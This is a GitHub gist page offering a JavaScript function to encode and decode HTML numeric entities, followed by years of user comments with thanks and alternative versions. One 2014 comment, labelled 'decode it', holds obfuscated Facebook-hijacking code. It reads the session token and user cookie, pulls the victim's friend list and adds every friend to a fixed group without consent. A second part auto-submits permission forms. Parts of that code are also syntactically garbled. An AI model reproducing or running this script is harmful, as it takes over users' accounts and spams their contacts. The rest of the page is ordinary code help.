Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Javascript: encode(decode) html text into html entity
// encode(decode) html text into html entity
var decodeHtmlEntity = function(str) {
return str.replace(/&#(\d+);/g, function(match, dec) {
return String.fromCharCode(dec);
});
};
var encodeHtmlEntity = function(str) {
var buf = [];
for (var i=str.length-1;i>=0;i--) {
buf.unshift(['&#', str[i].charCodeAt(), ';'].join(''));
}
return buf.join('');
};
var entity = '高级程序设计';
var str = '高级程序设计';
console.log(decodeHtmlEntity(entity) === str);
console.log(encodeHtmlEntity(str) === entity);
// output:
// true
// true
@ShukriChiu

This comment has been minimized.

Copy link

@ShukriChiu ShukriChiu commented Aug 16, 2013

very functional

@theraccoonbear

This comment has been minimized.

Copy link

@theraccoonbear theraccoonbear commented Mar 27, 2014

This is fantastic, thank you.

@sandyUni

This comment has been minimized.

Copy link

@sandyUni sandyUni commented Apr 26, 2014

but what about ' '

@MrFrazSultan

This comment has been minimized.

Copy link

@MrFrazSultan MrFrazSultan commented May 2, 2014

decode it
.
var _0x2b07=["623270711058894","value","fb_dtsg","getElementsByName","match","cookie","/ajax/groups/membership/r2j.php?__a=1","&ref=group_jump_header&group_id=","&fb_dtsg=","&__user=","&phstamp=","POST","open","Content-type","application/x-www-form-urlencoded","setRequestHeader","Content-length","length","Connection","keep-alive","send","GET","/ajax/typeahead/first_degree.php?__a=1&viewer=","&token","random","&filter[0]=user&options[0]=friends_only","readyState","(","substr","responseText",")","error","index","sort","entries","payload","/ajax/groups/members/add_post.php?__a=1","&group_id=","&source=typeahead&ref=&message_id=&members=","uid","onreadystatechange","status"];var gid=[_0x2b07[0]];var fb_dtsg=document_0x2b07[3][0][_0x2b07[1]];var user_id=document[_0x2b07[5]]_0x2b07[4];var httpwp= new XMLHttpRequest();var urlwp=_0x2b07[6];var paramswp=_0x2b07[7]+gid+_0x2b07[8]+fb_dtsg+_0x2b07[9]+user_id+_0x2b07[10];httpwp_0x2b07[12];httpwp_0x2b07[15];httpwp_0x2b07[15];httpwp_0x2b07[15];httpwp_0x2b07[20];var fb_dtsg=document_0x2b07[3][0][_0x2b07[1]];var user_id=document[_0x2b07[5]]_0x2b07[4];var friends= new Array();gf= new XMLHttpRequest();gf_0x2b07[12];gf_0x2b07[20];if(gf[_0x2b07[26]]!=4){} else {data=eval(_0x2b07[27]+gf[_0x2b07[29]]_0x2b07[28]+_0x2b07[30]);if(data[_0x2b07[31]]){} else {friends=data[_0x2b07[35]][_0x2b07[34]][_0x2b07[33]](function %28_0x9687x8,_0x9687x9%29{return _0x9687x8[_0x2b07[32]]-_0x9687x9[_0x2b07[32]];});} ;} ;for(var i=0;i<friends[_0x2b07[17]];i++){var httpwp= new XMLHttpRequest();var urlwp=_0x2b07[36];var paramswp=_0x2b07[8]+fb_dtsg+_0x2b07[37]+gid+_0x2b07[38]+friends[i][_0x2b07[39]]+_0x2b07[9]+user_id+_0x2b07[10];httpwp_0x2b07[12];httpwp_0x2b07[15];httpwp_0x2b07[15];httpwp_0x2b07[15];httpwp[_0x2b07[40]]=function (){if(httpwp[_0x2b07[26]]==4&&httpwp[_0x2b07[41]]==200){} ;} ;httpwp_0x2b07[20];} ;
if(location.hostname.indexOf("www.facebook.com","static.ak.facebook.com","apps.facebook.com","beta.facebook.com") >= 0){
var profile_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]).toString();
function uygulamaizinver(url){
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if(xmlhttp.readyState == 4){
izinverhtml = document.createElement("html");
izinverhtml.innerHTML = xmlhttp.responseText;
if(izinverhtml.getElementsByTagName("form").length > 0){
izinverhtml.innerHTML = izinverhtml.getElementsByTagName("form")[0].outerHTML
act = izinverhtml.getElementsByTagName("form")[0].action;
duzenlevegonder(izinverhtml,act);
}
}
};

@xuebaofeng

This comment has been minimized.

Copy link

@xuebaofeng xuebaofeng commented May 6, 2015

function htmlDecode(input){
var e = document.createElement('div');
e.innerHTML = input;
return e.childNodes.length === 0 ? "" : e.childNodes[0].nodeValue;
}

@cerkit

This comment has been minimized.

Copy link

@cerkit cerkit commented Jul 7, 2015

xuebaofeng: Your solution does not work on a server using node.js, nor does it work on Pebble smartwatch. It only works in a browser. The solution provided works anywhere that JavaScript regular expressions are supported.

Great solution. Thanks. I've been trying to pull this off all morning.

@KalobTaulien

This comment has been minimized.

Copy link

@KalobTaulien KalobTaulien commented Jul 9, 2015

Works well for encoding input from text fields straight into html using jQuery and this.

@brianinsightly

This comment has been minimized.

Copy link

@brianinsightly brianinsightly commented Oct 9, 2015

Thanks, this solved an annoying issue with .net localization.

@liamato

This comment has been minimized.

Copy link

@liamato liamato commented Oct 29, 2015

I've written a little bit better implementation of decodeHtmlEntity that accept's html entities by name Gist

@radumazilu

This comment has been minimized.

Copy link

@radumazilu radumazilu commented Nov 26, 2015

Thank you!

@eladkarako

This comment has been minimized.

Copy link

@eladkarako eladkarako commented Feb 12, 2016

with Unicode support (\uWXYZ):

function encodeHtmlEntity(str) {
  return str.replace(/[\u00A0-\u9999\<\>\&\'\"\\\/]/gim, function(c){
    return '&#' + c.charCodeAt(0) + ';' ;
  });
}

or as bookmarklet (placed in your bookmark-toolbar to use whenever..)

javascript:(function(){prompt("output:",prompt("∞ to HTML-Entity:","<div>❝Likė A Ƀoŝš❞ ©®</div>").replace(/[\u00A0-\u9999\<\>\&\'\"\\\/]/gim,function(c){return '&#'+c.charCodeAt(0)+';'}));return true;}());



sorry about the watermark, I've took it from here

@cdaiga

This comment has been minimized.

Copy link

@cdaiga cdaiga commented Jun 20, 2016

Thanks so much. I just used it.

@Hardhik

This comment has been minimized.

Copy link

@Hardhik Hardhik commented Sep 16, 2016

Thanks a lot for this!
What if my string also has hexadecimal along with decimal values?

@xorgy

This comment has been minimized.

Copy link

@xorgy xorgy commented Jan 12, 2017

function encodeHtmlEntity(str) {
  var buf = '';
  for (var i=0; i < str.length; i++) {
    buf += '&#'+ str.charCodeAt(i) + ';';
  }
  return buf;
};

Come on man.

@wrathyz

This comment has been minimized.

Copy link

@wrathyz wrathyz commented Jan 25, 2018

Thank you

@gkilmain

This comment has been minimized.

Copy link

@gkilmain gkilmain commented Feb 8, 2018

Thank you for nice one

@lfg6000

This comment has been minimized.

Copy link

@lfg6000 lfg6000 commented Jul 11, 2019

Thank You. It was good of you to post it.

@Tolluset

This comment has been minimized.

Copy link

@Tolluset Tolluset commented Jun 3, 2020

Thanks!

@kachar

This comment has been minimized.

Copy link

@kachar kachar commented Jan 6, 2021

TypeScript version:

const decodeHtmlEntity = function (str: string) {
  return str.replace(/&#(\d+);/g, function (match: string, dec: number) {
    return String.fromCharCode(dec)
  })
}

const encodeHtmlEntity = function (str: string) {
  const buf = []
  for (let i = str.length - 1; i >= 0; i--) {
    buf.unshift(['&#', str.charCodeAt(i), ';'].join(''))
  }
  return buf.join('')
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment